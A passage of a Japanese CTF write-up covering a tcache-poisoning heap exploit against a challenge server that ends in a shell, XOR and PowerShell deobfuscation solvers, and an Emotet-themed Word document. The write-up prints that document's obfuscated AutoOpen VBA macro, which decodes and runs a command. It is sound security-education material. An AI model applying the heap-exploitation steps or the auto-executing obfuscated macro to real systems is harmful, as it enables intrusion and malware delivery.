  fd_count = head - 0x2a0 + 0x10;

  while (choice != 4) {
    printf("Do arbitrary write using tcache bin.\n");
    printf("ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31\n");
    printf("malloc is fixed at size 0x10\n");
    printf("\nsystem('/bin/sh') at >0x%llx\n", (long long int)win + 0x8);
    printf("Return address of main at >0x%llx\n\n", (long long int)&idx + 0x68);
    printf("Bin count >%d\n", *fd_count);
    print_fd(entry, *fd_count);
    print_info(heap_list);
    printf("---------------\n");
    menu();
    scanf("%d", &choice);
    if (choice < 1 || choice > 4) {
      printf("Out of Boundary\n");
      exit(-1);
    }
    switch (choice) {

    case 1:
      printf("Where? >");
      scanf("%d", &idx);
      if (idx < 0 || idx > 5) {
        printf("Out of Boundary\n");
        exit(-1);
      } else {
        heap_list[idx] = (char *)malloc(0x10 * sizeof(char));
        memset(heap_list[idx], 0, 0x10);
      }
      break;

    case 2:
      printf("Where? >");
      scanf("%d", &idx);
      if (idx < 0 || idx > 5) {
        printf("Out of Boundary\n");
        exit(-1);
      } else {
        free(heap_list[idx]);
      }
      break;
    case 3:
      printf("What will happen if you can write fd of free chunk?\n");
      printf("Where? >");
      scanf("%d", &idx);
      if (idx < 0 || idx > 5) {
        printf("Out of Boundary\n");
        exit(-1);
      } else {
        printf("What? ( ex: 0x123456 )>");
        scanf("%p", heap_list[idx]);
      }
    }
    printf("\n");
  }
}

とにかく挙動を確認してみます。

$ nc babyheap.pwn.wanictf.org 9006
Do arbitrary write using tcache bin.
ldd (Ubuntu GLIBC 2.31-0ubuntu9.2) 2.31
malloc is fixed at size 0x10

system('/bin/sh') at >0x55736b402342
Return address of main at >0x7ffca4190bc8

Bin count >0

!! Segfault may happen when fd isn't readable address
fd >>> 
           ↑ 
Will be allocated for the next malloc

[0] : Not Allocated
[1] : Not Allocated
[2] : Not Allocated
[3] : Not Allocated
[4] : Not Allocated

超親切!libcのバージョンとか、mallocのサイズが固定だよとか、使いそうなアドレス、現在のtcacheの状態まで教えてくれています。

---------------
1. malloc
2. free
3. write
4. exit
>

ということで、interactiveに状態を見ながらメモリが操作できそうです。
return addressにsystem('/bin/sh')を書き込んで、mainを終了しshellを起動すれば勝ちっぽい。

double freeやover flowを利用して、free済の領域にアドレスを書き込もうと色々頑張ってみたのだけど出来ない。そういえば、いつもとlibcのバージョン違ったなーと思ってググってみると、

SECCON Beginners CTF 2020 - Childheap (+α) - HackMDになぜ苦戦しているかの説明があった。 libc2.31ではサイズチェックが入ってる(から大きいデータを書いて下のメモリを上書きできない)し、double freeもガードされている。ムムム…。

しかしそれにしては正解者が多すぎる気がするな?と思って諦めずにガチャガチャしてたら、なんとfreeした領域に直接writeで書き込めた。

ということで、作戦としては

1. malloc(0)
2. malloc(1)
3. free(0)
4. free(1)

ここで fd >>> 1 -> 0 -> null の状態に。領域1のfdポインタをreturnのアドレスに書き換えると fd >>> 1 -> ret -> null になる。

5. write(1, return_addr)

で、return領域をmallocするために、2つ領域を確保する。

6. malloc(2) # もとの1で使っていたアドレス
7. malloc(3) # return領域

あとは確保したreturn領域にbinshを書き込んで、returnを実行するためにプロセスを終了させる

8. write(3, binsh_addr)
9. exit

これでshellが起動して、とはいつもの通り。

ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{This_is_Hint_for_the_diva}

やったー!!!めっちゃ時間かかったけど取れたー!!!
(プログラム組んでやったりしてたけど、最終的には考えながらncでつないだままポチポチやってたらflag出たのでsolverはなし)

[Reversing] ltrace (Beginner)

この問題はltraceで解ける...ってコト!?

$ sudo apt-get install -y ltrace
$ ltrace --help

ヒント : オプションをよく確認しよう

VM環境が壊れててLinuxが使えなかったので、ghidraでdecompileしてもらった。想定解法ではない。

bool main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  ulong local_130;
  undefined4 local_128 [44];
  byte local_78 [48];
  char local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_128[0] = 0x15;
  local_128[1] = 0x1f;
  local_128[2] = 0x12;
  local_128[3] = 0x14;
  local_128[4] = 0x28;
  local_128[5] = 0x30;
  local_128[6] = 0x67;
  local_128[7] = 0x3d;
  local_128[8] = 0xc;
  local_128[9] = 0x2a;
  local_128[10] = 99;
  local_128[11] = 0x26;
  local_128[12] = 0xc;
  local_128[13] = 100;
  local_128[14] = 0x21;
  local_128[15] = 0x67;
  local_128[16] = 0x30;
  local_128[17] = 0x60;
  local_128[18] = 0xc;
  local_128[19] = 0x37;
  local_128[20] = 0x2a;
  local_128[21] = 0x3d;
  local_128[22] = 0x67;
  local_128[23] = 0x3e;
  local_128[24] = 0x62;
  local_128[25] = 0x30;
  local_128[26] = 0xc;
  local_128[27] = 0x3f;
  local_128[28] = 0x62;
  local_128[29] = 0x31;
  local_128[30] = 0x21;
  local_128[31] = 0x67;
  local_128[32] = 0x21;
  local_128[33] = 0x2a;
  local_128[34] = 0xc;
  local_128[35] = 0x30;
  local_128[36] = 0x67;
  local_128[37] = 0x3f;
  local_128[38] = 0x3f;
  local_128[39] = 0x66;
  local_128[40] = 0x6c;
  local_128[41] = 0x2e;
  local_128[42] = 0x53;
  local_130 = 0;
  while (local_130 < 0x2b) {
    local_78[local_130] = (byte)local_128[local_130] ^ 0x53;
    local_130 = local_130 + 1;
  }
  printf("Input flag : ");
  __isoc99_scanf(&DAT_00102012,local_48);
  iVar1 = strcmp(local_48,(char *)local_78);
  if (iVar1 != 0) {
    puts("Incorrect");
  }
  else {
    printf("Correct! Flag is %s\n",local_48);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1 != 0;
}

XORしてるだけだったので、スクリプト書いて実行。

data = [0x15, 0x1f, 0x12, 0x14, 0x28, 0x30, 0x67, 0x3d, 0xc, 0x2a, 99, 0x26, 0xc, 100, 0x21, 0x67, 0x30, 0x60, 0xc, 0x37, 0x2a, 0x3d, 0x67, 0x3e, 0x62, 0x30, 0xc, 0x3f, 0x62, 0x31, 0x21, 0x67, 0x21, 0x2a, 0xc, 0x30, 0x67, 0x3f, 0x3f, 0x66, 0x6c, 0x2e, 0x53]

for d in data:
    print(chr(d^0x53), end='')

実行結果

$ python solve.py 
FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}

[Reversing] pwsh (Easy)

Power!!!

power shell問題。Ubuntuへのpwshインストールは前にもやったし、解説のリンクが親切にも載せてあったので、これでUbuntuでも実行できそう。
…だがしかしVM環境が壊れているのでUbuntuも準備できない。

テキスト形式で開いてみた。

(("{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"-f ' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{
  Writ','l}','_','o ','r','W4Incor','w3r5h3l','W','
 ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4

','W4Co','d','e','rrect!cW4
} ','rec','tcW4
}
',' {','tput c','cW4Welcome to t','f',' Write-Ou','

if ')).replACe('cW4',[STRiNg][CHAr]34).replACe('8r3',[STRiNg][CHAr]95).replACe('fj7',[STRiNg][CHAr]36) |& ( $VErboSEPReFErencE.TostRIng()[1,3]+'x'-Join'')

これを無理やり解読して読むスクリプトを作成。

data = [' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{ Writ','l}','_','o ','r','W4Incor','w3r5h3l','W',' ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4','W4Co','d','e','rrect!cW4} ','rec','tcW4}',' {','tput c','cW4Welcome to t','f',' Write-Ou',' if ']

order = [39, 4, 12, 45, 21, 0, 36, 25, 26, 27, 7, 13, 30, 16, 31, 48, 23, 18, 19, 20, 24, 28, 3, 38, 11, 5, 2, 8, 46, 34, 29, 1, 35, 15, 10, 33, 9, 32, 22, 37, 40, 6, 43, 17, 47, 44, 14, 41, 42]

flag = ''
for i in order:
    flag += data[i]
flag = flag.replace('cW4', chr(34)).replace('8r3',chr(95)).replace('fj7',chr(36))
print(flag)

アウトプットの改行は全部スペースに変換済。
実行結果

$ python solve.py 
echo "Welcome to the world of PowerShell!"$input = Read-Host "Password" if ($input -eq "FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}") { Write-Output "Correct!"} else {  Write-Output "Incorrect"}

[Reversing] EmoEmotet (Hard)

なんかヤバそうなファイルが添付されたメールが届いちゃった。

これってもしかしてあのEmo---だったり...?

注意

zipのパスワードは「emoemotet」です

このファイルは競技用に作成されたもので、システムに害を与えるプログラムは含まれていません

このファイルは一部のアンチウイルスソフトによって誤検知され削除されることがあります

Windows, Wordがなくても解くことができます

ヒント : https://github.com/decalage2/oletools

これはエモエモエモテット絡みの予感。システムに害を与えない競技用のもの、という説明が問題文にあるのめっちゃありがたい。(vm環境壊れてるし…)

配布されるのはdocファイル。開いてみると、マクロが組んであるらしい。とりあえず無効にして開いてみる。因幡の白兎的な話が中国語で書いてあるっぽい。

ヒントのGitHub - decalage2/oletools: oletools - python tools to analyze MS OLE2 files (Structured Storage, Compound File Binary Format) and MS Office documents, for malware analysis, forensics and debugging.のツールを使うと、docのマクロの関数を読むことが出来た。抽出したマクロはこちら。

$ olevba -c emoemotet.doc 
olevba 0.60 on Python 3.8.3 - http://decalage.info/python/oletools
===============================================================================
FILE: emoemotet.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO emo 
in file: emoemotet.doc - OLE stream: 'emo'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private InitDone       As Boolean
Private Map1(0 To 63)  As Byte
Private Map2(0 To 127) As Byte
Sub AutoOpen()
CreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & _
unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & _
unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & _
unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & _
unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & _
unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & _
unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & _
unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & _
unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & _
unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & _
unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & _
unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & _
unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & _
unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & _
unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & _
unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)
End Sub
Public Function Base64Decode(ByVal s As String) As Byte()
   If Not InitDone Then Init
   Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
   Dim ILen As Long: ILen = UBound(IBuf) + 1
   If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , ""
   Do While ILen > 0
      If IBuf(ILen - 1) <> Asc("=") Then Exit Do
      ILen = ILen - 1
      Loop
   Dim OLen As Long: OLen = (ILen * 3) \ 4
   Dim Out() As Byte
   ReDim Out(0 To OLen - 1) As Byte
   Dim ip As Long
   Dim op As Long
   Do While ip < ILen
      Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
      Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
      Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
      Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
      If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
         Err.Raise vbObjectError, , ""
      Dim b0 As Byte: b0 = Map2(i0)
      Dim b1 As Byte: b1 = Map2(i1)
      Dim b2 As Byte: b2 = Map2(i2)
      Dim b3 As Byte: b3 = Map2(i3)
      If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
         Err.Raise vbObjectError, , ""
      Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
      Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
      Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
      Out(op) = o0: op = op + 1
      If op < OLen Then Out(op) = o1: op = op + 1
      If op < OLen Then Out(op) = o2: op = op + 1
      Loop
   Base64Decode = Out
   End Function
Private Sub Init()
   Dim c As Integer, i As Integer
   i = 0
   For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
   Map1(i) = Asc("+"): i = i + 1
   Map1(i) = Asc("/"): i = i + 1
   For i = 0 To 127: Map2(i) = 255: Next
   For i = 0 To 63: Map2(Map1(i)) = i: Next
   InitDone = True
   End Sub
Private Function ConvertStringToBytes(ByVal s As String) As Byte()
   Dim b1() As Byte: b1 = s
   Dim l As Long: l = (UBound(b1) + 1) \ 2
   If l = 0 Then ConvertStringToBytes = b1: Exit Function
   Dim b2() As Byte
   ReDim b2(0 To l - 1) As Byte
   Dim p As Long
   For p = 0 To l - 1
      Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
      If c >= 256 Then c = Asc("?")
      b2(p) = c
      Next
   ConvertStringToBytes = b2
   End Function
Private Function unxor(ciphertext As Variant, start As Integer)
    Dim cleartext As String
    Dim key() As Byte
    key = Base64Decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" & _
"l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" & _
"3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" & _
"d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
    cleartext = ""
    For i = LBound(ciphertext) To UBound(ciphertext)
        cleartext = cleartext & Chr(key(i + start) Xor ciphertext(i))
    Next
    unxor = cleartext
End Function


-------------------------------------------------------------------------------
VBA MACRO ThisDocument 
in file: emoemotet.doc - OLE stream: 'ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)

これを解釈して組み直せば解けそう…?
解釈して組んでみた。最初の数字の羅列を、basee64 encodeされてるっぽい key をdecodeしてxorするだけ。VBAの記法全然知らなくて苦労した。&とか& _とか。

import base64

arry = [([135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56],3),
([201, 1], 14),
([137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34], 16), 
([199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203], 66), 
([102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92], 155), 
([234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79], 244), 
([209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10], 333), 
([81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145], 422), 
([220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101], 511), 
([173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126], 600), 
